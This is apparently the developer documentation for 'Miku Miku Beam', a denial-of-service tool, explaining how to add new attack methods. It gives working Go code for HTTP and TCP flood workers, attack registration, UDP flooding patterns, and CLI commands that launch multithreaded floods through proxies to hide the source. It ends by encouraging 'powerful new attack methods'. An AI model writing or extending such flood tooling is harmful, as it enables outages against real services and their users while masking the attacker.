Overview
Miku Miku Beam’s architecture makes it easy to add new attack methods. This guide walks you through creating a custom attack implementation from scratch.
Attack Method Architecture
Each attack method consists of:
A worker that implements the AttackWorker interface
Registration in the engine’s registry
Frontend integration for the web UI (optional)
Implementation Steps
Create Attack Worker
Create a new file in the appropriate directory under internal/attacks/:
HTTP-based attacks → internal/attacks/http/
TCP/UDP attacks → internal/attacks/tcp/
Game-specific attacks → internal/attacks/game/
New protocol → Create new directory internal/attacks/yourprotocol/
Worker Interface All attack workers must implement the AttackWorker interface: type AttackWorker interface {
// Fire sends a single payload for the given params
Fire ( ctx context . Context , params AttackParams , proxy Proxy ,
userAgent string , logCh chan <- AttackStats ) error
}
Example Implementation Here’s a complete example from the actual codebase: internal/attacks/yourprotocol/yourattack.go
package yourprotocol
import (
" context "
core " github.com/sammwyy/mikumikubeam/internal/engine "
)
type yourWorker struct {}
func NewYourWorker () * yourWorker {
return & yourWorker {}
}
func ( w * yourWorker ) Fire ( ctx context . Context , params core . AttackParams ,
p core . Proxy , ua string , logCh chan <- core . AttackStats ) error {
// 1. Implement your attack logic here
// 2. Use the provided proxy (p) and user agent (ua)
// 3. Respect the context (ctx) for cancellation
// 4. Send logs if verbose mode is enabled
core . SendAttackLogIfVerbose ( logCh , p , params . Target , params . Verbose )
return nil
}
Define Attack Kind
Add your attack type to the AttackKind enum in internal/engine/engine.go: internal/engine/engine.go
type AttackKind string
const (
AttackHTTPFlood AttackKind = "http_flood"
AttackHTTPBypass AttackKind = "http_bypass"
AttackHTTPSlowloris AttackKind = "http_slowloris"
AttackTCPFlood AttackKind = "tcp_flood"
AttackMinecraftPing AttackKind = "minecraft_ping"
AttackYourProtocol AttackKind = "your_protocol" // Add this
)
Register the Attack
Register your worker in the engine’s initialization code. For the server (cmd/mmb-server/main.go): import (
yourprotocol " github.com/sammwyy/mikumikubeam/internal/attacks/yourprotocol "
// ... other imports
)
func main () {
// ... setup code
reg := engine . NewRegistry ()
reg . Register ( engine . AttackHTTPFlood , http . NewFloodWorker ())
reg . Register ( engine . AttackHTTPBypass , http . NewBypassWorker ())
reg . Register ( engine . AttackHTTPSlowloris , http . NewSlowlorisWorker ())
reg . Register ( engine . AttackTCPFlood , tcp . NewFloodWorker ())
reg . Register ( engine . AttackMinecraftPing , game . NewPingWorker ())
reg . Register ( engine . AttackYourProtocol , yourprotocol . NewYourWorker ()) // Add this
// ... rest of setup
}
For the CLI (cmd/mmb-cli/main.go): import (
yourprotocol " github.com/sammwyy/mikumikubeam/internal/attacks/yourprotocol "
// ... other imports
)
func registerAttacks () * engine . Registry {
reg := engine . NewRegistry ()
reg . Register ( engine . AttackHTTPFlood , http . NewFloodWorker ())
reg . Register ( engine . AttackHTTPBypass , http . NewBypassWorker ())
reg . Register ( engine . AttackHTTPSlowloris , http . NewSlowlorisWorker ())
reg . Register ( engine . AttackTCPFlood , tcp . NewFloodWorker ())
reg . Register ( engine . AttackMinecraftPing , game . NewPingWorker ())
reg . Register ( engine . AttackYourProtocol , yourprotocol . NewYourWorker ()) // Add this
return reg
}
Add to Web Client (Optional)
Update the web client to include your new attack method in the dropdown: const attackMethods = [
{ value: 'http_flood' , label: 'HTTP Flood' },
{ value: 'http_bypass' , label: 'HTTP Bypass' },
{ value: 'http_slowloris' , label: 'HTTP Slowloris' },
{ value: 'tcp_flood' , label: 'TCP Flood' },
{ value: 'minecraft_ping' , label: 'Minecraft Ping' },
{ value: 'your_protocol' , label: 'Your Protocol' }, // Add this
];
Real-World Examples
Let’s look at actual implementations from the codebase:
HTTP Flood Worker
From internal/attacks/http/flood.go:
package http
import (
" bytes "
" context "
" io "
" math/rand "
" net/http "
" time "
core " github.com/sammwyy/mikumikubeam/internal/engine "
" github.com/sammwyy/mikumikubeam/internal/netutil "
)
type floodWorker struct {}
func NewFloodWorker () * floodWorker { return & floodWorker {} }
func ( w * floodWorker ) Fire ( ctx context . Context , params core . AttackParams ,
p core . Proxy , ua string , logCh chan <- core . AttackStats ) error {
// Build target URL
u := params . TargetNode . ToURL ()
target := u . String ()
// Create HTTP client with proxy
client := netutil . DialedHTTPClient ( p , 5 * time . Second , 3 )
// Random method selection
isGet := params . PacketSize <= 512 && rand . Intn ( 2 ) == 0
payload := randomString ( params . PacketSize )
var req * http . Request
var err error
if isGet {
req , err = http . NewRequestWithContext ( ctx , http . MethodGet ,
target + "/" + payload , nil )
} else {
req , err = http . NewRequestWithContext ( ctx , http . MethodPost ,
target , io . NopCloser ( bytes . NewBufferString ( payload )))
}
if err != nil {
return err
}
if ua != "" {
req . Header . Set ( "User-Agent" , ua )
}
// Execute request
resp , err := client . Do ( req )
if err == nil && resp != nil {
io . Copy ( io . Discard , resp . Body )
resp . Body . Close ()
core . SendAttackLogIfVerbose ( logCh , p , params . Target , params . Verbose )
}
return nil
}
Notice how the worker:
Uses the provided context for cancellation support
Leverages the proxy parameter for routing
Sends verbose logs only when enabled
Returns quickly without blocking
TCP Flood Worker
From internal/attacks/tcp/flood.go:
package tcp
import (
" context "
" math/rand "
core " github.com/sammwyy/mikumikubeam/internal/engine "
" github.com/sammwyy/mikumikubeam/internal/netutil "
)
type floodWorker struct {}
func NewFloodWorker () * floodWorker { return & floodWorker {} }
func ( w * floodWorker ) Fire ( ctx context . Context , params core . AttackParams ,
p core . Proxy , ua string , logCh chan <- core . AttackStats ) error {
// Generate random payload
payload := make ([] byte , params . PacketSize )
rand . Read ( payload )
// Use TCP dialer with proxy support
conn , err := netutil . DialTCP ( ctx , params . TargetNode , p )
if err != nil {
return err
}
defer conn . Close ()
// Send payload
_ , err = conn . Write ( payload )
if err == nil {
core . SendAttackLogIfVerbose ( logCh , p , params . Target , params . Verbose )
}
return err
}
Best Practices
Context Handling
Always respect the context! The engine uses it to cancel attacks.
// Good: Check context in loops
for {
select {
case <- ctx . Done ():
return ctx . Err ()
default :
// Do work
}
}
// Good: Pass context to HTTP requests
req , err := http . NewRequestWithContext ( ctx , method , url , body )
Proxy Usage
Always use the provided proxy parameter:
// Good: Use netutil helpers that support proxies
client := netutil . DialedHTTPClient ( proxy , timeout , maxRetries )
conn , err := netutil . DialTCP ( ctx , target , proxy )
// Bad: Direct connections ignore proxies
client := & http . Client {}
conn , err := net . Dial ( "tcp" , target )
Verbose Logging
Only send logs when verbose mode is enabled:
// Use the helper function
core . SendAttackLogIfVerbose ( logCh , proxy , target , params . Verbose )
// Or manually check
if params . Verbose {
select {
case logCh <- core . AttackStats {
Timestamp : time . Now (),
Log : "Attack sent successfully" ,
}:
default :
// Don't block if channel is full
}
}
Error Handling
// Return errors but don't crash
if err != nil {
return err // Engine handles errors gracefully
}
// Don't panic
if conn == nil {
return fmt . Errorf ( "connection failed" )
}
Testing Your Attack
Build and Test
# Build everything
make all
# Test with CLI in verbose mode
./bin/mmb-cli attack your_protocol http://example.com --verbose --threads 4
# Test with custom parameters
./bin/mmb-cli attack your_protocol http://example.com \
--duration 60 \
--delay 500 \
--packet-size 1024 \
--threads 8 \
--verbose
Test Without Proxies
./bin/mmb-cli attack your_protocol http://example.com --no-proxy --verbose
Test in Web Interface
Start the server: make run-server
Open http://localhost:3000
Select your attack method
Configure parameters
Monitor real-time stats
Attack Parameters Reference
Your worker receives these parameters:
type AttackParams struct {
Target string // Target URL or address
TargetNode targetpkg . Node // Parsed target (host, port, protocol)
Duration time . Duration // How long to run the attack
PacketDelay time . Duration // Delay between packets
PacketSize int // Size of each packet/payload
Method AttackKind // Attack method identifier
Threads int // Number of concurrent threads
Verbose bool // Whether to send detailed logs
}
Common Patterns
HTTP-Based Attacks
client := netutil . DialedHTTPClient ( proxy , 5 * time . Second , 3 )
req , _ := http . NewRequestWithContext ( ctx , method , target , body )
req . Header . Set ( "User-Agent" , userAgent )
resp , err := client . Do ( req )
TCP-Based Attacks
conn , err := netutil . DialTCP ( ctx , params . TargetNode , proxy )
if err != nil {
return err
}
defer conn . Close ()
_ , err = conn . Write ( payload )
UDP-Based Attacks
addr , _ := net . ResolveUDPAddr ( "udp" , params . Target )
conn , err := net . DialUDP ( "udp" , nil , addr )
if err != nil {
return err
}
defer conn . Close ()
_ , err = conn . Write ( payload )
Troubleshooting
Attack not appearing in CLI
Make sure you’ve:
Defined the AttackKind constant
Registered the worker in cmd/mmb-cli/main.go
Rebuilt the CLI binary: make cli
Attack not appearing in web UI
Check that you’ve:
Added it to the attack methods array in the web client
Registered it in cmd/mmb-server/main.go
Rebuilt both server and web client: make all
Verify proxies in data/proxies.txt are valid
Test with --no-proxy flag to isolate the issue
Use netutil helpers instead of direct connections
No verbose logs appearing
Ensure you’re calling SendAttackLogIfVerbose
Check you’re passing the log channel correctly
Verify --verbose flag is set when testing
Next Steps
Project Structure Understand the full codebase organization
Contributing Guide Learn how to submit your implementation
Now you’re ready to create powerful new attack methods! Remember to test thoroughly and submit a PR when you’re done.